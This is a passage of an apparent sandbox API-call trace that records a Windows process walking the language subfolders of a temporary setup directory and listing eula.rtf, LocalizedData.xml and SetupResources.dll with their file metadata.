nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.607] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.607] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.608] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.608] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.608] FindClose (in: hFindFile=0x11ba010 | out: hFindFile=0x11ba010) returned 1 [0077.608] GetProcessHeap () returned 0x11a0000 [0077.608] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.608] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1045", cAlternateFileName="")) returned 1 [0077.608] GetProcessHeap () returned 0x11a0000 [0077.608] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0077.610] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.610] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0077.611] GetProcessHeap () returned 0x11a0000 [0077.611] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1046", cAlternateFileName="")) returned 1 [0077.611] GetProcessHeap () returned 0x11a0000 [0077.611] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.611] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.612] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.612] GetProcessHeap () returned 0x11a0000 [0077.612] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1049", cAlternateFileName="")) returned 1 [0077.612] GetProcessHeap () returned 0x11a0000 [0077.612] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.612] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.613] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.613] GetProcessHeap () returned 0x11a0000 [0077.613] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1053", cAlternateFileName="")) returned 1 [0077.613] GetProcessHeap () returned 0x11a0000 [0077.613] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0077.614] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.614] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0077.614] GetProcessHeap () returned 0x11a0000 [0077.614] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1055", cAlternateFileName="")) returned 1 [0077.614] GetProcessHeap () returned 0x11a0000 [0077.614] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0077.615] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.615] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.615] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.615] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.616] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0077.616] GetProcessHeap () returned 0x11a0000 [0077.616] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="2052", cAlternateFileName="")) returned 1 [0077.616] GetProcessHeap () returned 0x11a0000 [0077.616] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.616] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, 